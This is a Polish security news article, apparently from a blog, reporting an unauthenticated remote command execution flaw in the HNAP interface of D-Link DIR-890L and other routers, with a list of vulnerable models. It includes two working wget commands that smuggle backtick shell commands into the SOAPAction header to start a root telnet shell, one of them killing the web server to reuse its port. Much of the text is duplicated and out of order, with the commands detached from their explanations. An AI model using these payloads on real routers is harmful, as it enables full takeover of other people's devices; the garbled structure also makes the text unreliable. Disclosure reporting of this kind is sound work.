Kolejny zwykły dzień dla użytkowników domowych ruterów przynosi kolejne poważne błędy umożliwiające zdalne wykonanie kodu przez atakującego. Do tego producent nie załata tych błędów jeszcze przez wiele dni.
W co najmniej kilkunastu modelach ruterów D-Linka obecny jest bardzo poważny błąd pozwalający na przejęcie całkowitej kontroli nad urządzeniem. Na dokładkę podobno nie da się z nim nic zrobić dopóki producent nie wyda aktualizacji oprogramowania.
Tyle tych interfejsów
Niezawodny Craig z dev/ttyS0 tym razem zabrał się za flagowy model D-Linka, czyli DIR 890L, trójpasmowego, sześcioantenowego potwora za 1000 PLN. Po wypakowaniu oprogramowania urządzenia postanowił przyjrzeć się interfejsowi HNAP, służącemu do zarządzania ruterem przez operatora lub do konfiguracji urządzenia na etapie jego uruchamiania. Do tej pory błędy odkrywano głównie w interfejsach HTTP czy UPnP, zatem czas był już najwyższy znaleźć nowy wektor ataku.
Kosmiczny D-Link z komicznym błędem
Za obsługę wszystkich żądań do serwera WWW odpowiada jeden plik binarny. Jego analiza zajęła trochę czasu, ale jak zawsze się opłaciła. Craig znalazł polecenie, które korzystało z funkcji system i przyjmowało parametry od użytkownika. Pozostawało jeszcze tylko znaleźć sposób na ominiecie uwierzytelnienia. Okazało się, że istnieje furtka – w jednym ze scenariuszy oprogramowanie sprawdza, czy nagłówek żądania równy jesthttp://purenetworks.com/HNAP1/GetDeviceSettings, jednak ze względu na błąd weryfikacji zamiast weryfikować czy nagłówek zgadza się z tym ciągiem, sprawdza jedynie, czy się od niego zaczyna. Daje to możliwość skonstruowania takiego żądania do urządzenia, które nie będzie wymagało uwierzytelnienia i jednocześnie pozwoli na wykonanie dowolnego polecenia.
Można w ten sposób np. włączyć serwer telnetd, który domyślnie uruchamia się z uprawnieniami roota:
Jeśli ruter udostępnia interfejs administracyjny z zewnątrz możliwe jest zdalne przeprowadzenie ataku. Co prawda firewall zablokuje połączenie na domyślny port usługi telnet, wystarczy jednak ubić serwer WWW i uruchomić telnetd na tym samym porcie:
Podatne urządzenia
Craig poprosił zaprzyjaźnioną firmę o ustalenie, które inne urządzenia zawierają ten sam błąd i otrzymał listę kilkunastu modeli. Z kolei D-Link opublikował tego samego dnia informację o tym samym błędzie, zgłoszonym przez innego badacza, Zhang Wei z zespołu Qihoo360 ADLAB. Lista podatnych modeli wg D-Linka jest nieco inna niż lista Craiga, zatem na wszelki wypadek poniżej publikujemy kombinacje obu:
W co najmniej kilkunastu modelach ruterów D-Linka obecny jest bardzo poważny błąd pozwalający na przejęcie całkowitej kontroli nad urządzeniem. Na dokładkę podobno nie da się z nim nic zrobić dopóki producent nie wyda aktualizacji oprogramowania.
Tyle tych interfejsów
Niezawodny Craig z dev/ttyS0 tym razem zabrał się za flagowy model D-Linka, czyli DIR 890L, trójpasmowego, sześcioantenowego potwora za 1000 PLN. Po wypakowaniu oprogramowania urządzenia postanowił przyjrzeć się interfejsowi HNAP, służącemu do zarządzania ruterem przez operatora lub do konfiguracji urządzenia na etapie jego uruchamiania. Do tej pory błędy odkrywano głównie w interfejsach HTTP czy UPnP, zatem czas był już najwyższy znaleźć nowy wektor ataku.
Kosmiczny D-Link z komicznym błędem
Za obsługę wszystkich żądań do serwera WWW odpowiada jeden plik binarny. Jego analiza zajęła trochę czasu, ale jak zawsze się opłaciła. Craig znalazł polecenie, które korzystało z funkcji system i przyjmowało parametry od użytkownika. Pozostawało jeszcze tylko znaleźć sposób na ominiecie uwierzytelnienia. Okazało się, że istnieje furtka – w jednym ze scenariuszy oprogramowanie sprawdza, czy nagłówek żądania równy jesthttp://purenetworks.com/HNAP1/GetDeviceSettings, jednak ze względu na błąd weryfikacji zamiast weryfikować czy nagłówek zgadza się z tym ciągiem, sprawdza jedynie, czy się od niego zaczyna. Daje to możliwość skonstruowania takiego żądania do urządzenia, które nie będzie wymagało uwierzytelnienia i jednocześnie pozwoli na wykonanie dowolnego polecenia.
Można w ten sposób np. włączyć serwer telnetd, który domyślnie uruchamia się z uprawnieniami roota:
Kod:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
Kod:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.Craig poprosił zaprzyjaźnioną firmę o ustalenie, które inne urządzenia zawierają ten sam błąd i otrzymał listę kilkunastu modeli. Z kolei D-Link opublikował tego samego dnia informację o tym samym błędzie, zgłoszonym przez innego badacza, Zhang Wei z zespołu Qihoo360 ADLAB. Lista podatnych modeli wg D-Linka jest nieco inna niż lista Craiga, zatem na wszelki wypadek poniżej publikujemy kombinacje obu:
- DAP-1522 revB
- DAP-1650 revB
- DIR-300 revB
- DIR-600 revB
- DIR-629 revA1 1.01
- DIR-645
- DIR-815 revB
- DIR-816L revA1 2.05B02
- DIR-817LW revB1 1.03B05
- DIR-818LW revA1 1.04B03
- DIR-820LW revB1 2.01
- DIR-850L revB1 2.03B01
- DIR-850L revA1 1.12B05
- DIR-860L revA1 1.08B02
- DIR-865L
- DIR-868L A1 1.09B08
- DIR-880L A1 1.02b13
- DIR-890L A1 1.03b07
- TEW-733GR
- TEW-751DR